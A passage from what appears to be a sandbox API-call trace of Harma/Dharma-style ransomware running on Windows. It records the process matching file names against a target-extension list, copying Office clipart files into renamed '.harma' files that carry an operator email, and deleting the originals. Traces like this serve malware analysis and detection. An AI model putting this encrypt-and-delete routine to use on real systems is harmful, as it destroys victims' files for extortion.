Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.044] lstrlenW (lpString=".doc") returned 4 [0166.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.044] lstrlenW (lpString=".docx") returned 5 [0166.044] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0166.044] lstrlenW (lpString=".pdf") returned 4 [0166.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.044] lstrlenW (lpString=".xls") returned 4 [0166.044] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.044] lstrlenW (lpString=".xlsx") returned 5 [0166.044] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0166.044] lstrlenW (lpString=".ppt") returned 4 [0166.044] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.044] lstrlenW (lpString=".zip") returned 4 [0166.044] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.044] lstrlenW (lpString=".rar") returned 4 [0166.044] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.044] lstrlenW (lpString=".bz2") returned 4 [0166.044] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.044] lstrlenW (lpString=".7z") returned 3 [0166.044] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.044] lstrlenW (lpString=".dbf") returned 4 [0166.044] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.044] lstrlenW (lpString=".1cd") returned 4 [0166.045] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.045] lstrlenW (lpString=".jpg") returned 4 [0166.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.045] lstrlenW (lpString=".doc") returned 4 [0166.045] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.045] lstrlenW (lpString=".docx") returned 5 [0166.045] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0166.045] lstrlenW (lpString=".pdf") returned 4 [0166.045] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString=".xls") returned 4 [0166.045] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString=".xlsx") returned 5 [0166.045] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0166.045] lstrlenW (lpString=".ppt") returned 4 [0166.045] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.045] lstrlenW (lpString=".zip") returned 4 [0166.045] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString=".rar") returned 4 [0166.045] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.045] lstrlenW (lpString=".bz2") returned 4 [0166.045] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.045] lstrlenW (lpString=".7z") returned 3 [0166.045] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.045] lstrlenW (lpString=".dbf") returned 4 [0166.046] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.046] lstrlenW (lpString=".1cd") returned 4 [0166.046] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63 [0166.046] lstrlenW (lpString=".jpg") returned 4 [0166.046] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.046] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.046] lstrlenW (lpString="J0099196.GIF") returned 12 [0166.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.053] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=14337) returned 1 [0166.053] CloseHandle (hObject=0x208) returned 1 [0166.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0166.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.057] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.057] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.058] GetLastError () returned 0x0 [0166.058] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3801, lpOverlapped=0x0) returned 1 [0166.095] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3810, lpOverlapped=0x0) returned 1 [0166.097] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.097] SetEndOfFile (hFile=0x3a0) returned 1 [0166.097] CloseHandle (hObject=0x3a0) returned 1 [0166.097] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.097] SetEndOfFile (hFile=0x208) returned 1 [0166.099] CloseHandle (hObject=0x208) returned 1 [0166.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0166.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.100] lstrlenW (lpString=".doc") returned 4 [0166.100] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.100] lstrlenW (lpString=".docx") returned 5 [0166.100] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0166.100] lstrlenW (lpString=".pdf") returned 4 [0166.100] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.100] lstrlenW (lpString=".xls") returned 4 [0166.101] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.101] lstrlenW (lpString=".xlsx") returned 5 [0166.101] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0166.101] lstrlenW (lpString=".ppt") returned 4 [0166.101] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString=".zip") returned 4 [0166.101] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.101] lstrlenW (lpString=".rar") returned 4 [0166.101] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.101] lstrlenW (lpString=".bz2") returned 4 [0166.101] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.101] lstrlenW (lpString=".7z") returned 3 [0166.101] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString=".dbf") returned 4 [0166.101] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString=".1cd") returned 4 [0166.101] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString=".jpg") returned 4 [0166.101] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.101] lstrlenW (lpString=".doc") returned 4 [0166.101] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.101] lstrlenW (lpString=".docx") returned 5 [0166.101] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0166.102] lstrlenW (lpString=".pdf") returned 4 [0166.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.102] lstrlenW (lpString=".xls") returned 4 [0166.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.102] lstrlenW (lpString=".xlsx") returned 5 [0166.102] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0166.102] lstrlenW (lpString=".ppt") returned 4 [0166.102] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.102] lstrlenW (lpString=".zip") returned 4 [0166.102] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.102] lstrlenW (lpString=".rar") returned 4 [0166.102] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.102] lstrlenW (lpString=".bz2") returned 4 [0166.102] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.102] lstrlenW (lpString=".7z") returned 3 [0166.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.102] lstrlenW (lpString=".dbf") returned 4 [0166.102] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.102] lstrlenW (lpString=".1cd") returned 4 [0166.102] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0166.102] lstrlenW (lpString=".jpg") returned 4 [0166.102] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.103] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.103] lstrlenW (lpString="J0099201.GIF") returned 12 [0166.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.103] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=51401) returned 1 [0166.103] CloseHandle (hObject=0x208) returned 1 [0166.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0166.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.104] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.104] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.105] GetLastError () returned 0x0 [0166.105] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0166.109] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xc8d0, lpOverlapped=0x0) returned 1 [0166.110] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.110] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.110] SetEndOfFile (hFile=0x3a0) returned 1 [0166.111] CloseHandle (hObject=0x3a0) returned 1 [0166.111] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.111] SetEndOfFile (hFile=0x208) returned 1 [0166.114] CloseHandle (hObject=0x208) returned 1 [0166.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.115] lstrlenW (lpString=".doc") returned 4 [0166.115] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.115] lstrlenW (lpString=".docx") returned 5 [0166.115] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0166.115] lstrlenW (lpString=".pdf") returned 4 [0166.115] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.115] lstrlenW (lpString=".xls") returned 4 [0166.115] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.115] lstrlenW (lpString=".xlsx") returned 5 [0166.115] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0166.115] lstrlenW (lpString=".ppt") returned 4 [0166.115] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.115] lstrlenW (lpString=".zip") returned 4 [0166.115] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.115] lstrlenW (lpString=".rar") returned 4 [0166.115] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.115] lstrlenW (lpString=".bz2") returned 4 [0166.115] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.115] lstrlenW (lpString=".7z") returned 3 [0166.116] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString=".dbf") returned 4 [0166.116] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString=".1cd") returned 4 [0166.116] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString=".jpg") returned 4 [0166.116] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString=".doc") returned 4 [0166.116] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.116] lstrlenW (lpString=".docx") returned 5 [0166.116] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0166.116] lstrlenW (lpString=".pdf") returned 4 [0166.116] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.116] lstrlenW (lpString=".xls") returned 4 [0166.116] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.116] lstrlenW (lpString=".xlsx") returned 5 [0166.116] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0166.116] lstrlenW (lpString=".ppt") returned 4 [0166.116] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.116] lstrlenW (lpString=".zip") returned 4 [0166.117] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.117] lstrlenW (lpString=".rar") returned 4 [0166.117] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.117] lstrlenW (lpString=".bz2") returned 4 [0166.117] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.117] lstrlenW (lpString=".7z") returned 3 [0166.117] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.117] lstrlenW (lpString=".dbf") returned 4 [0166.117] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.117] lstrlenW (lpString=".1cd") returned 4 [0166.117] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0166.117] lstrlenW (lpString=".jpg") returned 4 [0166.117] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.117] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.117] lstrlenW (lpString="J0099202.GIF") returned 12 [0166.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.118] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4967) returned 1 [0166.118] CloseHandle (hObject=0x208) returned 1 [0166.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0166.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.119] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.119] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.119] GetLastError () returned 0x0 [0166.119] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1367, lpOverlapped=0x0) returned 1 [0166.121] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0166.122] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.122] WriteFile (in: hFile=0x3a0, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.122] SetEndOfFile (hFile=0x3a0) returned 1 [0166.122] CloseHandle (hObject=0x3a0) returned 1 [0166.122] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.122] SetEndOfFile (hFile=0x208) returned 1 [0166.124] CloseHandle (hObject=0x208) returned 1 [0166.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0166.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString=".doc") returned 4 [0166.126] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.126] lstrlenW (lpString=".docx") returned 5 [0166.126] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0166.126] lstrlenW (lpString=".pdf") returned 4 [0166.126] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.126] lstrlenW (lpString=".xls") returned 4 [0166.126] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.126] lstrlenW (lpString=".xlsx") returned 5 [0166.126] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0166.126] lstrlenW (lpString=".ppt") returned 4 [0166.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 